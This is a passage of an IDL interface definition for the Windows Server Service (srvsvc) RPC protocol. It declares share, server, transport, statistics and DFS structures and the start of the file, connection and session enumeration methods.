{\n        [string] wchar_t* shi1004_remark;\n    } SHARE_INFO_1004,\n        * PSHARE_INFO_1004,\n        * LPSHARE_INFO_1004;\n\n    typedef struct _SHARE_INFO_1006\n    {\n        DWORD shi1006_max_uses;\n    } SHARE_INFO_1006,\n        * PSHARE_INFO_1006,\n        * LPSHARE_INFO_1006;\n\n    typedef struct _SHARE_INFO_1005\n    {\n        DWORD shi1005_flags;\n    } SHARE_INFO_1005,\n        * PSHARE_INFO_1005,\n        * LPSHARE_INFO_1005;\n\n    //JMP: order differs in documentation\n    typedef [switch_type(unsigned long)] union _SHARE_INFO\n        // for Get & Set info\n    {\n        [case(0)]\n            LPSHARE_INFO_0 ShareInfo0;\n        [case(1)]\n            LPSHARE_INFO_1 ShareInfo1;\n        [case(2)]\n            LPSHARE_INFO_2 ShareInfo2;\n        [case(502)]\n            LPSHARE_INFO_502_I ShareInfo502;\n        [case(1004)]\n            LPSHARE_INFO_1004 ShareInfo1004;\n        [case(1006)]\n            LPSHARE_INFO_1006 ShareInfo1006;\n        [case(1501)]\n            LPSHARE_INFO_1501_I ShareInfo1501;\n        [default]\n            ;\n        [case(1005)]\n            LPSHARE_INFO_1005 ShareInfo1005;\n        [case(501)]\n            LPSHARE_INFO_501 ShareInfo501;\n        [case(503)]\n            LPSHARE_INFO_503_I ShareInfo503;\n    } SHARE_INFO,\n        * PSHARE_INFO,\n        * LPSHARE_INFO;\n\n\n\n    typedef struct _SERVER_INFO_100\n    {\n        DWORD sv100_platform_id;\n        [string] wchar_t* sv100_name;\n    } SERVER_INFO_100,\n        * PSERVER_INFO_100,\n        * LPSERVER_INFO_100;\n\n    typedef struct _SERVER_INFO_101\n    {\n        DWORD sv101_platform_id;\n        [string] wchar_t* sv101_name;\n        DWORD sv101_version_major;\n        DWORD sv101_version_minor;\n        DWORD sv101_type;\n        [string] wchar_t* sv101_comment;\n    } SERVER_INFO_101,\n        * PSERVER_INFO_101,\n        * LPSERVER_INFO_101;\n\n    typedef struct _SERVER_INFO_102\n    {\n        DWORD sv102_platform_id;\n        [string] wchar_t* sv102_name;\n        DWORD sv102_version_major;\n        DWORD sv102_version_minor;\n        DWORD sv102_type;\n        [string] wchar_t* sv102_comment;\n        DWORD sv102_users;\n        long sv102_disc;\n        int sv102_hidden;\n        DWORD sv102_announce;\n        DWORD sv102_anndelta;\n        DWORD sv102_licenses;\n        [string] wchar_t* sv102_userpath;\n    } SERVER_INFO_102,\n        * PSERVER_INFO_102,\n        * LPSERVER_INFO_102;\n\n    typedef struct _SERVER_INFO_103\n    {\n        DWORD sv103_platform_id;\n        [string] wchar_t* sv103_name;\n        DWORD sv103_version_major;\n        DWORD sv103_version_minor;\n        DWORD sv103_type;\n        [string] wchar_t* sv103_comment;\n        DWORD sv103_users;\n        LONG  sv103_disc;\n        BOOL  sv103_hidden;\n        DWORD sv103_announce;\n        DWORD sv103_anndelta;\n        DWORD sv103_licenses;\n        [string] wchar_t* sv103_userpath;\n        DWORD sv103_capabilities;\n    } SERVER_INFO_103,\n        * PSERVER_INFO_103,\n        * LPSERVER_INFO_103;\n\n    typedef struct _SERVER_INFO_502\n    {\n        DWORD sv502_sessopens;\n        DWORD sv502_sessvcs;\n        DWORD sv502_opensearch;\n        DWORD sv502_sizreqbuf;\n        DWORD sv502_initworkitems;\n        DWORD sv502_maxworkitems;\n        DWORD sv502_rawworkitems;\n        DWORD sv502_irpstacksize;\n        DWORD sv502_maxrawbuflen;\n        DWORD sv502_sessusers;\n        DWORD sv502_sessconns;\n        DWORD sv502_maxpagedmemoryusage;\n        DWORD sv502_maxnonpagedmemoryusage;\n        int sv502_enablesoftcompat;\n        int sv502_enableforcedlogoff;\n        int sv502_timesource;\n        int sv502_acceptdownlevelapis;\n        int sv502_lmannounce;\n    } SERVER_INFO_502,\n        * PSERVER_INFO_502,\n        * LPSERVER_INFO_502;\n\n    typedef struct _SERVER_INFO_503\n    {\n        DWORD sv503_sessopens;\n        DWORD sv503_sessvcs;\n        DWORD sv503_opensearch;\n        DWORD sv503_sizreqbuf;\n        DWORD sv503_initworkitems;\n        DWORD sv503_maxworkitems;\n        DWORD sv503_rawworkitems;\n        DWORD sv503_irpstacksize;\n        DWORD sv503_maxrawbuflen;\n        DWORD sv503_sessusers;\n        DWORD sv503_sessconns;\n        DWORD sv503_maxpagedmemoryusage;\n        DWORD sv503_maxnonpagedmemoryusage;\n        int sv503_enablesoftcompat;\n        int sv503_enableforcedlogoff;\n        int sv503_timesource;\n        int sv503_acceptdownlevelapis;\n        int sv503_lmannounce;\n        [string] wchar_t* sv503_domain;\n        DWORD sv503_maxcopyreadlen;\n        DWORD sv503_maxcopywritelen;\n        DWORD sv503_minkeepsearch;\n        DWORD sv503_maxkeepsearch;\n        DWORD sv503_minkeepcomplsearch;\n        DWORD sv503_maxkeepcomplsearch;\n        DWORD sv503_threadcountadd;\n        DWORD sv503_numblockthreads;\n        DWORD sv503_scavtimeout;\n        DWORD sv503_minrcvqueue;\n        DWORD sv503_minfreeworkitems;\n        DWORD sv503_xactmemsize;\n        DWORD sv503_threadpriority;\n        DWORD sv503_maxmpxct;\n        DWORD sv503_oplockbreakwait;\n        DWORD sv503_oplockbreakresponsewait;\n        int sv503_enableoplocks;\n        int sv503_enableoplockforceclose;\n        int sv503_enablefcbopens;\n        int sv503_enableraw;\n        int sv503_enablesharednetdrives;\n        DWORD sv503_minfreeconnections;\n        DWORD sv503_maxfreeconnections;\n    } SERVER_INFO_503,\n        * PSERVER_INFO_503,\n        * LPSERVER_INFO_503;\n\n    typedef struct _SERVER_INFO_599\n    {\n        DWORD sv599_sessopens;\n        DWORD sv599_sessvcs;\n        DWORD sv599_opensearch;\n        DWORD sv599_sizreqbuf;\n        DWORD sv599_initworkitems;\n        DWORD sv599_maxworkitems;\n        DWORD sv599_rawworkitems;\n        DWORD sv599_irpstacksize;\n        DWORD sv599_maxrawbuflen;\n        DWORD sv599_sessusers;\n        DWORD sv599_sessconns;\n        DWORD sv599_maxpagedmemoryusage;\n        DWORD sv599_maxnonpagedmemoryusage;\n        int sv599_enablesoftcompat;\n        int sv599_enableforcedlogoff;\n        int sv599_timesource;\n        int sv599_acceptdownlevelapis;\n        int sv599_lmannounce;\n        [string] wchar_t* sv599_domain;\n        DWORD sv599_maxcopyreadlen;\n        DWORD sv599_maxcopywritelen;\n        DWORD sv599_minkeepsearch;\n        DWORD sv599_maxkeepsearch;\n        DWORD sv599_minkeepcomplsearch;\n        DWORD sv599_maxkeepcomplsearch;\n        DWORD sv599_threadcountadd;\n        DWORD sv599_numblockthreads;\n        DWORD sv599_scavtimeout;\n        DWORD sv599_minrcvqueue;\n        DWORD sv599_minfreeworkitems;\n        DWORD sv599_xactmemsize;\n        DWORD sv599_threadpriority;\n        DWORD sv599_maxmpxct;\n        DWORD sv599_oplockbreakwait;\n        DWORD sv599_oplockbreakresponsewait;\n        int sv599_enableoplocks;\n        int sv599_enableoplockforceclose;\n        int sv599_enablefcbopens;\n        int sv599_enableraw;\n        int sv599_enablesharednetdrives;\n        DWORD sv599_minfreeconnections;\n        DWORD sv599_maxfreeconnections;\n        DWORD sv599_initsesstable;\n        DWORD sv599_initconntable;\n        DWORD sv599_initfiletable;\n        DWORD sv599_initsearchtable;\n        DWORD sv599_alertschedule;\n        DWORD sv599_errorthreshold;\n        DWORD sv599_networkerrorthreshold;\n        DWORD sv599_diskspacethreshold;\n        DWORD sv599_reserved;\n        DWORD sv599_maxlinkdelay;\n        DWORD sv599_minlinkthroughput;\n        DWORD sv599_linkinfovalidtime;\n        DWORD sv599_scavqosinfoupdatetime;\n        DWORD sv599_maxworkitemidletime;\n    } SERVER_INFO_599,\n        * PSERVER_INFO_599,\n        * LPSERVER_INFO_599;\n\n    typedef struct _SERVER_INFO_1005\n    {\n        [string] wchar_t* sv1005_comment;\n    } SERVER_INFO_1005,\n        * PSERVER_INFO_1005,\n        * LPSERVER_INFO_1005;\n\n    typedef struct _SERVER_INFO_1107\n    {\n        DWORD sv1107_users;\n    } SERVER_INFO_1107,\n        * PSERVER_INFO_1107,\n        * LPSERVER_INFO_1107;\n\n    typedef struct _SERVER_INFO_1010\n    {\n        long sv1010_disc;\n    } SERVER_INFO_1010,\n        * PSERVER_INFO_1010,\n        * LPSERVER_INFO_1010;\n\n    typedef struct _SERVER_INFO_1016\n    {\n        int sv1016_hidden;\n    } SERVER_INFO_1016,\n        * PSERVER_INFO_1016,\n        * LPSERVER_INFO_1016;\n\n    typedef struct _SERVER_INFO_1017\n    {\n        DWORD sv1017_announce;\n    } SERVER_INFO_1017,\n        * PSERVER_INFO_1017,\n        * LPSERVER_INFO_1017;\n\n    typedef struct _SERVER_INFO_1018\n    {\n        DWORD sv1018_anndelta;\n    } SERVER_INFO_1018,\n        * PSERVER_INFO_1018,\n        * LPSERVER_INFO_1018;\n\n    typedef struct _SERVER_INFO_1501\n    {\n        DWORD sv1501_sessopens;\n    } SERVER_INFO_1501,\n        * PSERVER_INFO_1501,\n        * LPSERVER_INFO_1501;\n\n    typedef struct _SERVER_INFO_1502\n    {\n        DWORD sv1502_sessvcs;\n    } SERVER_INFO_1502,\n        * PSERVER_INFO_1502,\n        * LPSERVER_INFO_1502;\n\n    typedef struct _SERVER_INFO_1503\n    {\n        DWORD sv1503_opensearch;\n    } SERVER_INFO_1503, * PSERVER_INFO_1503, * LPSERVER_INFO_1503;\n\n    typedef struct _SERVER_INFO_1506\n    {\n        DWORD sv1506_maxworkitems;\n    } SERVER_INFO_1506, * PSERVER_INFO_1506, * LPSERVER_INFO_1506;\n\n    typedef struct _SERVER_INFO_1510\n    {\n        DWORD sv1510_sessusers;\n    } SERVER_INFO_1510, * PSERVER_INFO_1510, * LPSERVER_INFO_1510;\n\n    typedef struct _SERVER_INFO_1511\n    {\n        DWORD sv1511_sessconns;\n    } SERVER_INFO_1511, * PSERVER_INFO_1511, * LPSERVER_INFO_1511;\n\n    typedef struct _SERVER_INFO_1512\n    {\n        DWORD sv1512_maxnonpagedmemoryusage;\n    } SERVER_INFO_1512, * PSERVER_INFO_1512, * LPSERVER_INFO_1512;\n\n    typedef struct _SERVER_INFO_1513\n    {\n        DWORD sv1513_maxpagedmemoryusage;\n    } SERVER_INFO_1513, * PSERVER_INFO_1513, * LPSERVER_INFO_1513;\n\n    typedef struct _SERVER_INFO_1514\n    {\n        int sv1514_enablesoftcompat;\n    } SERVER_INFO_1514, * PSERVER_INFO_1514, * LPSERVER_INFO_1514;\n\n    typedef struct _SERVER_INFO_1515\n    {\n        int sv1515_enableforcedlogoff;\n    } SERVER_INFO_1515, * PSERVER_INFO_1515, * LPSERVER_INFO_1515;\n\n    typedef struct _SERVER_INFO_1516\n    {\n        int sv1516_timesource;\n    } SERVER_INFO_1516, * PSERVER_INFO_1516, * LPSERVER_INFO_1516;\n\n    typedef struct _SERVER_INFO_1518\n    {\n        int sv1518_lmannounce;\n    } SERVER_INFO_1518, * PSERVER_INFO_1518, * LPSERVER_INFO_1518;\n\n    typedef struct _SERVER_INFO_1523\n    {\n        DWORD sv1523_maxkeepsearch;\n    } SERVER_INFO_1523, * PSERVER_INFO_1523, * LPSERVER_INFO_1523;\n\n    typedef struct _SERVER_INFO_1528\n    {\n        DWORD sv1528_scavtimeout;\n    } SERVER_INFO_1528, * PSERVER_INFO_1528, * LPSERVER_INFO_1528;\n\n    typedef struct _SERVER_INFO_1529\n    {\n        DWORD sv1529_minrcvqueue;\n    } SERVER_INFO_1529, * PSERVER_INFO_1529, * LPSERVER_INFO_1529;\n\n    typedef struct _SERVER_INFO_1530\n    {\n        DWORD sv1530_minfreeworkitems;\n    } SERVER_INFO_1530, * PSERVER_INFO_1530, * LPSERVER_INFO_1530;\n\n    typedef struct _SERVER_INFO_1533\n    {\n        DWORD sv1533_maxmpxct;\n    } SERVER_INFO_1533, * PSERVER_INFO_1533, * LPSERVER_INFO_1533;\n\n    typedef struct _SERVER_INFO_1534\n    {\n        DWORD sv1534_oplockbreakwait;\n    } SERVER_INFO_1534, * PSERVER_INFO_1534, * LPSERVER_INFO_1534;\n\n    typedef struct _SERVER_INFO_1535\n    {\n        DWORD sv1535_oplockbreakresponsewait;\n    } SERVER_INFO_1535, * PSERVER_INFO_1535, * LPSERVER_INFO_1535;\n\n    typedef struct _SERVER_INFO_1536\n    {\n        int sv1536_enableoplocks;\n    } SERVER_INFO_1536, * PSERVER_INFO_1536, * LPSERVER_INFO_1536;\n\n    typedef struct _SERVER_INFO_1538\n    {\n        int sv1538_enablefcbopens;\n    } SERVER_INFO_1538, * PSERVER_INFO_1538, * LPSERVER_INFO_1538;\n\n    typedef struct _SERVER_INFO_1539\n    {\n        int sv1539_enableraw;\n    } SERVER_INFO_1539, * PSERVER_INFO_1539, * LPSERVER_INFO_1539;\n\n    typedef struct _SERVER_INFO_1540\n    {\n        int sv1540_enablesharednetdrives;\n    } SERVER_INFO_1540, * PSERVER_INFO_1540, * LPSERVER_INFO_1540;\n\n    typedef struct _SERVER_INFO_1541\n    {\n        int sv1541_minfreeconnections;\n    } SERVER_INFO_1541, * PSERVER_INFO_1541, * LPSERVER_INFO_1541;\n\n    typedef struct _SERVER_INFO_1542\n    {\n        int sv1542_maxfreeconnections;\n    } SERVER_INFO_1542, * PSERVER_INFO_1542, * LPSERVER_INFO_1542;\n\n    typedef struct _SERVER_INFO_1543\n    {\n        DWORD sv1543_initsesstable;\n    } SERVER_INFO_1543, * PSERVER_INFO_1543, * LPSERVER_INFO_1543;\n\n    typedef struct _SERVER_INFO_1544\n    {\n        DWORD sv1544_initconntable;\n    } SERVER_INFO_1544, * PSERVER_INFO_1544, * LPSERVER_INFO_1544;\n\n    typedef struct _SERVER_INFO_1545\n    {\n        DWORD sv1545_initfiletable;\n    } SERVER_INFO_1545, * PSERVER_INFO_1545, * LPSERVER_INFO_1545;\n\n    typedef struct _SERVER_INFO_1546\n    {\n        DWORD sv1546_initsearchtable;\n    } SERVER_INFO_1546, * PSERVER_INFO_1546, * LPSERVER_INFO_1546;\n\n    typedef struct _SERVER_INFO_1547\n    {\n        DWORD sv1547_alertschedule;\n    } SERVER_INFO_1547, * PSERVER_INFO_1547, * LPSERVER_INFO_1547;\n\n    typedef struct _SERVER_INFO_1548\n    {\n        DWORD sv1548_errorthreshold;\n    } SERVER_INFO_1548, * PSERVER_INFO_1548, * LPSERVER_INFO_1548;\n\n    typedef struct _SERVER_INFO_1549\n    {\n        DWORD sv1549_networkerrorthreshold;\n    } SERVER_INFO_1549, * PSERVER_INFO_1549, * LPSERVER_INFO_1549;\n\n    typedef struct _SERVER_INFO_1550\n    {\n        DWORD sv1550_diskspacethreshold;\n    } SERVER_INFO_1550, * PSERVER_INFO_1550, * LPSERVER_INFO_1550;\n\n    typedef struct _SERVER_INFO_1552\n    {\n        DWORD sv1552_maxlinkdelay;\n    } SERVER_INFO_1552, * PSERVER_INFO_1552, * LPSERVER_INFO_1552;\n\n    typedef struct _SERVER_INFO_1553\n    {\n        DWORD sv1553_minlinkthroughput;\n    } SERVER_INFO_1553, * PSERVER_INFO_1553, * LPSERVER_INFO_1553;\n\n    typedef struct _SERVER_INFO_1554\n    {\n        DWORD sv1554_linkinfovalidtime;\n    } SERVER_INFO_1554, * PSERVER_INFO_1554, * LPSERVER_INFO_1554;\n\n    typedef struct _SERVER_INFO_1555\n    {\n        DWORD sv1555_scavqosinfoupdatetime;\n    } SERVER_INFO_1555, * PSERVER_INFO_1555, * LPSERVER_INFO_1555;\n\n    typedef struct _SERVER_INFO_1556\n    {\n        DWORD sv1556_maxworkitemidletime;\n    } SERVER_INFO_1556, * PSERVER_INFO_1556, * LPSERVER_INFO_1556;\n\n    typedef [switch_type(unsigned long)] union _SERVER_INFO\n    {\n        [case(100)]\n            LPSERVER_INFO_100 ServerInfo100;\n        [case(101)]\n            LPSERVER_INFO_101 ServerInfo101;\n        [case(102)]\n            LPSERVER_INFO_102 ServerInfo102;\n        [case(103)]\n            LPSERVER_INFO_103 ServerInfo103;\n        [case(502)]\n            LPSERVER_INFO_502 ServerInfo502;\n        [case(503)]\n            LPSERVER_INFO_503 ServerInfo503;\n        [case(599)]\n            LPSERVER_INFO_599 ServerInfo599;\n        [case(1005)]\n            LPSERVER_INFO_1005 ServerInfo1005;\n        [case(1107)]\n            LPSERVER_INFO_1107 ServerInfo1107;\n        [case(1010)]\n            LPSERVER_INFO_1010 ServerInfo1010;\n        [case(1016)]\n            LPSERVER_INFO_1016 ServerInfo1016;\n        [case(1017)]\n            LPSERVER_INFO_1017 ServerInfo1017;\n        [case(1018)]\n            LPSERVER_INFO_1018 ServerInfo1018;\n        [case(1501)]\n            LPSERVER_INFO_1501 ServerInfo1501;\n        [case(1502)]\n            LPSERVER_INFO_1502 ServerInfo1502;\n        [case(1503)]\n            LPSERVER_INFO_1503 ServerInfo1503;\n        [case(1506)]\n            LPSERVER_INFO_1506 ServerInfo1506;\n        [case(1510)]\n            LPSERVER_INFO_1510 ServerInfo1510;\n        [case(1511)]\n            LPSERVER_INFO_1511 ServerInfo1511;\n        [case(1512)]\n            LPSERVER_INFO_1512 ServerInfo1512;\n        [case(1513)]\n            LPSERVER_INFO_1513 ServerInfo1513;\n        [case(1514)]\n            LPSERVER_INFO_1514 ServerInfo1514;\n        [case(1515)]\n            LPSERVER_INFO_1515 ServerInfo1515;\n        [case(1516)]\n            LPSERVER_INFO_1516 ServerInfo1516;\n        [case(1518)]\n            LPSERVER_INFO_1518 ServerInfo1518;\n        [case(1523)]\n            LPSERVER_INFO_1523 ServerInfo1523;\n        [case(1528)]\n            LPSERVER_INFO_1528 ServerInfo1528;\n        [case(1529)]\n            LPSERVER_INFO_1529 ServerInfo1529;\n        [case(1530)]\n            LPSERVER_INFO_1530 ServerInfo1530;\n        [case(1533)]\n            LPSERVER_INFO_1533 ServerInfo1533;\n        [case(1534)]\n            LPSERVER_INFO_1534 ServerInfo1534;\n        [case(1535)]\n            LPSERVER_INFO_1535 ServerInfo1535;\n        [case(1536)]\n            LPSERVER_INFO_1536 ServerInfo1536;\n        [case(1538)]\n            LPSERVER_INFO_1538 ServerInfo1538;\n        [case(1539)]\n            LPSERVER_INFO_1539 ServerInfo1539;\n        [case(1540)]\n            LPSERVER_INFO_1540 ServerInfo1540;\n        [case(1541)]\n            LPSERVER_INFO_1541 ServerInfo1541;\n        [case(1542)]\n            LPSERVER_INFO_1542 ServerInfo1542;\n        [case(1543)]\n            LPSERVER_INFO_1543 ServerInfo1543;\n        [case(1544)]\n            LPSERVER_INFO_1544 ServerInfo1544;\n        [case(1545)]\n            LPSERVER_INFO_1545 ServerInfo1545;\n        [case(1546)]\n            LPSERVER_INFO_1546 ServerInfo1546;\n        [case(1547)]\n            LPSERVER_INFO_1547 ServerInfo1547;\n        [case(1548)]\n            LPSERVER_INFO_1548 ServerInfo1548;\n        [case(1549)]\n            LPSERVER_INFO_1549 ServerInfo1549;\n        [case(1550)]\n            LPSERVER_INFO_1550 ServerInfo1550;\n        [case(1552)]\n            LPSERVER_INFO_1552 ServerInfo1552;\n        [case(1553)]\n            LPSERVER_INFO_1553 ServerInfo1553;\n        [case(1554)]\n            LPSERVER_INFO_1554 ServerInfo1554;\n        [case(1555)]\n            LPSERVER_INFO_1555 ServerInfo1555;\n        [case(1556)]\n            LPSERVER_INFO_1556 ServerInfo1556;\n    } SERVER_INFO, * PSERVER_INFO, * LPSERVER_INFO;\n\n    typedef struct _DISK_INFO\n    {\n        [string] WCHAR Disk[3];\n    } DISK_INFO, * PDISK_INFO, * LPDISK_INFO;\n\n    typedef struct _DISK_ENUM_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead), length_is(EntriesRead)] LPDISK_INFO\n            Buffer;\n    } DISK_ENUM_CONTAINER;\n\n    typedef struct _SERVER_TRANSPORT_INFO_0\n    {\n        DWORD svti0_numberofvcs;\n        [string] wchar_t* svti0_transportname;\n        [size_is(svti0_transportaddresslength)] unsigned char\n            * svti0_transportaddress;\n        DWORD svti0_transportaddresslength;\n        [string] wchar_t* svti0_networkaddress;\n    } SERVER_TRANSPORT_INFO_0, * PSERVER_TRANSPORT_INFO_0,\n        * LPSERVER_TRANSPORT_INFO_0;\n\n    typedef struct _SERVER_XPORT_INFO_0_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSERVER_TRANSPORT_INFO_0 Buffer;\n    } SERVER_XPORT_INFO_0_CONTAINER, * PSERVER_XPORT_INFO_0_CONTAINER;\n\n    typedef struct _SERVER_TRANSPORT_INFO_1\n    {\n        DWORD svti1_numberofvcs;\n        [string] wchar_t* svti1_transportname;\n        [size_is(svti1_transportaddresslength)] unsigned char\n            * svti1_transportaddress;\n        DWORD svti1_transportaddresslength;\n        [string] wchar_t* svti1_networkaddress;\n        [string] wchar_t* svti1_domain;\n    } SERVER_TRANSPORT_INFO_1, * PSERVER_TRANSPORT_INFO_1,\n        * LPSERVER_TRANSPORT_INFO_1;\n\n    typedef struct _SERVER_XPORT_INFO_1_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSERVER_TRANSPORT_INFO_1 Buffer;\n    } SERVER_XPORT_INFO_1_CONTAINER, * PSERVER_XPORT_INFO_1_CONTAINER;\n\n    typedef struct _SERVER_TRANSPORT_INFO_2\n    {\n        DWORD svti2_numberofvcs;\n        [string] wchar_t* svti2_transportname;\n        [size_is(svti2_transportaddresslength)] unsigned char\n            * svti2_transportaddress;\n        DWORD svti2_transportaddresslength;\n        [string] wchar_t* svti2_networkaddress;\n        [string] wchar_t* svti2_domain;\n        unsigned long svti2_flags;\n    } SERVER_TRANSPORT_INFO_2, * PSERVER_TRANSPORT_INFO_2,\n        * LPSERVER_TRANSPORT_INFO_2;\n\n    typedef struct _SERVER_XPORT_INFO_2_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSERVER_TRANSPORT_INFO_2 Buffer;\n    } SERVER_XPORT_INFO_2_CONTAINER, * PSERVER_XPORT_INFO_2_CONTAINER;\n\n    typedef struct _SERVER_TRANSPORT_INFO_3\n    {\n        DWORD svti3_numberofvcs;\n        [string] wchar_t* svti3_transportname;\n        [size_is(svti3_transportaddresslength)] unsigned char\n            * svti3_transportaddress;\n        DWORD svti3_transportaddresslength;\n        [string] wchar_t* svti3_networkaddress;\n        [string] wchar_t* svti3_domain;\n        unsigned long svti3_flags;\n        DWORD svti3_passwordlength;\n        unsigned char svti3_password[256];\n    } SERVER_TRANSPORT_INFO_3, * PSERVER_TRANSPORT_INFO_3,\n        * LPSERVER_TRANSPORT_INFO_3;\n\n    typedef struct _SERVER_XPORT_INFO_3_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSERVER_TRANSPORT_INFO_3 Buffer;\n    } SERVER_XPORT_INFO_3_CONTAINER, * PSERVER_XPORT_INFO_3_CONTAINER;\n\n    typedef [switch_type(unsigned long)] union _TRANSPORT_INFO\n    {\n        [case(0)]\n            SERVER_TRANSPORT_INFO_0 Transport0;\n        [case(1)]\n            SERVER_TRANSPORT_INFO_1 Transport1;\n        [case(2)]\n            SERVER_TRANSPORT_INFO_2 Transport2;\n        [case(3)]\n            SERVER_TRANSPORT_INFO_3 Transport3;\n    } TRANSPORT_INFO, * PTRANSPORT_INFO, * LPTRANSPORT_INFO;\n\n    typedef [switch_type(DWORD)] union _SERVER_XPORT_ENUM_UNION {\n        [case(0)]\n            PSERVER_XPORT_INFO_0_CONTAINER Level0;\n        [case(1)]\n            PSERVER_XPORT_INFO_1_CONTAINER Level1;\n        [case(2)]\n            PSERVER_XPORT_INFO_2_CONTAINER Level2;\n        [case(3)]\n            PSERVER_XPORT_INFO_3_CONTAINER Level3;\n    } SERVER_XPORT_ENUM_UNION;\n\n    typedef struct _SERVER_XPORT_ENUM_STRUCT\n    {\n        DWORD Level;\n        [switch_is(Level)] SERVER_XPORT_ENUM_UNION XportInfo;\n\n    } SERVER_XPORT_ENUM_STRUCT, * PSERVER_XPORT_ENUM_STRUCT,\n        * LPSERVER_XPORT_ENUM_STRUCT;\n\n    typedef [context_handle] void* SHARE_DEL_HANDLE;\n    typedef SHARE_DEL_HANDLE* PSHARE_DEL_HANDLE;\n\n    typedef struct _ADT_SECURITY_DESCRIPTOR\n    {\n        DWORD Length;\n        [size_is(Length)] unsigned char* Buffer;\n    } ADT_SECURITY_DESCRIPTOR, * PADT_SECURITY_DESCRIPTOR;\n\n    typedef struct _STAT_SERVER_0\n    {\n        DWORD sts0_start;\n        DWORD sts0_fopens;\n        DWORD sts0_devopens;\n        DWORD sts0_jobsqueued;\n        DWORD sts0_sopens;\n        DWORD sts0_stimedout;\n        DWORD sts0_serrorout;\n        DWORD sts0_pwerrors;\n        DWORD sts0_permerrors;\n        DWORD sts0_syserrors;\n        DWORD sts0_bytessent_low;\n        DWORD sts0_bytessent_high;\n        DWORD sts0_bytesrcvd_low;\n        DWORD sts0_bytesrcvd_high;\n        DWORD sts0_avresponse;\n        DWORD sts0_reqbufneed;\n        DWORD sts0_bigbufneed;\n    } STAT_SERVER_0, * PSTAT_SERVER_0, * LPSTAT_SERVER_0;\n\n    typedef struct _TIME_OF_DAY_INFO\n    {\n        DWORD tod_elapsedt;\n        DWORD tod_msecs;\n        DWORD tod_hours;\n        DWORD tod_mins;\n        DWORD tod_secs;\n        DWORD tod_hunds;\n        long tod_timezone;\n        DWORD tod_tinterval;\n        DWORD tod_day;\n        DWORD tod_month;\n        DWORD tod_year;\n        DWORD tod_weekday;\n    } TIME_OF_DAY_INFO, * PTIME_OF_DAY_INFO, * LPTIME_OF_DAY_INFO;\n\n    typedef struct _NET_DFS_ENTRY_ID\n    {\n        GUID Uid;\n        [string] WCHAR* Prefix;\n    } NET_DFS_ENTRY_ID, * LPNET_DFS_ENTRY_ID;\n\n    typedef struct _NET_DFS_ENTRY_ID_CONTAINER\n    {\n        unsigned long Count;\n        [size_is(Count)] LPNET_DFS_ENTRY_ID Buffer;\n    } NET_DFS_ENTRY_ID_CONTAINER, * LPNET_DFS_ENTRY_ID_CONTAINER;\n\n    typedef struct _DFS_SITENAME_INFO\n    {\n        unsigned long SiteFlags;\n        [string, unique] WCHAR* SiteName;\n    } DFS_SITENAME_INFO, * PDFS_SITENAME_INFO, * LPDFS_SITENAME_INFO;\n\n    typedef struct _DFS_SITELIST_INFO\n    {\n        unsigned long cSites;\n        [size_is(cSites)] DFS_SITENAME_INFO Site[];\n    } DFS_SITELIST_INFO, * PDFS_SITELIST_INFO, * LPDFS_SITELIST_INFO;\n\n    typedef struct _SERVER_ALIAS_INFO_0 {\n        [string] LMSTR    srvai0_alias;\n        [string] LMSTR    srvai0_target;\n        BOOLEAN  srvai0_default;\n        ULONG    srvai0_reserved;\n    }SERVER_ALIAS_INFO_0, * PSERVER_ALIAS_INFO_0, * LPSERVER_ALIAS_INFO_0;\n\n    typedef struct _SERVER_ALIAS_INFO_0_CONTAINER {\n        DWORD  EntriesRead;\n        [size_is(EntriesRead)] LPSERVER_ALIAS_INFO_0 Buffer;\n    } SERVER_ALIAS_INFO_0_CONTAINER;\n\n    typedef struct _SERVER_ALIAS_ENUM_STRUCT {\n        DWORD  Level;\n        [switch_is(Level)] union _SERVER_ALIAS_ENUM_UNION {\n            [case(0)]\n                SERVER_ALIAS_INFO_0_CONTAINER* Level0;\n        } ServerAliasInfo;\n    }SERVER_ALIAS_ENUM_STRUCT, * PSERVER_ALIAS_ENUM_STRUCT,\n        * LPSERVER_ALIAS_ENUM_STRUCT;\n\n    typedef [switch_type(unsigned long)] union _SERVER_ALIAS_INFO\n    { // for Get & Set Info\n        [case(0)]\n            LPSERVER_ALIAS_INFO_0 ServerAliasInfo0;\n    } SERVER_ALIAS_INFO, * PSERVER_ALIAS_INFO, * LPSERVER_ALIAS_INFO;\n\n    // This method not used on the wire\n    void Opnum0NotUsedOnWire(void);\n\n    // This method not used on the wire\n    void Opnum1NotUsedOnWire(void);\n\n    // This method not used on the wire\n    void Opnum2NotUsedOnWire(void);\n\n    // This method not used on the wire\n    void Opnum3NotUsedOnWire(void);\n\n    // This method not used on the wire\n    void Opnum4NotUsedOnWire(void);\n\n    // This method not used on the wire\n    void Opnum5NotUsedOnWire(void);\n\n    // This method not used on the wire\n    void Opnum6NotUsedOnWire(void);\n\n    // This method not used on the wire\n    void Opnum7NotUsedOnWire(void);\n\n    NET_API_STATUS\n        NetrConnectionEnum(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string, unique] WCHAR* Qualifier,\n            [in, out] LPCONNECT_ENUM_STRUCT InfoStruct,\n            [in] DWORD PreferedMaximumLength,\n            [out] DWORD* TotalEntries,\n            [in, out, unique] DWORD* ResumeHandle\n        );\n\n    NET_API_STATUS\n        NetrFileEnum(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string, unique] WCHAR* BasePath,\n            [in, string, unique] WCHAR* UserName,\n            [in, out] PFILE_ENUM_STRUCT InfoStruct,\n            [in] DWORD PreferedMaximumLength,\n            [out] DWORD* TotalEntries,\n            [in, out, unique] DWORD* ResumeHandle\n        );\n\n    NET_API_STATUS\n        NetrFileGetInfo(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] DWORD FileId,\n            [in] DWORD Level,\n            [out, switch_is(Level)] LPFILE_INFO InfoStruct\n        );\n\n    NET_API_STATUS\n        NetrFileClose(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] DWORD FileId\n        );\n\n    NET_API_STATUS\n        NetrSessionEnum(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string, unique] WCHAR* ClientName,\n            [in, string, unique] WCHAR* UserName,\n            [in, out] PSESSION_ENUM_STRUCT 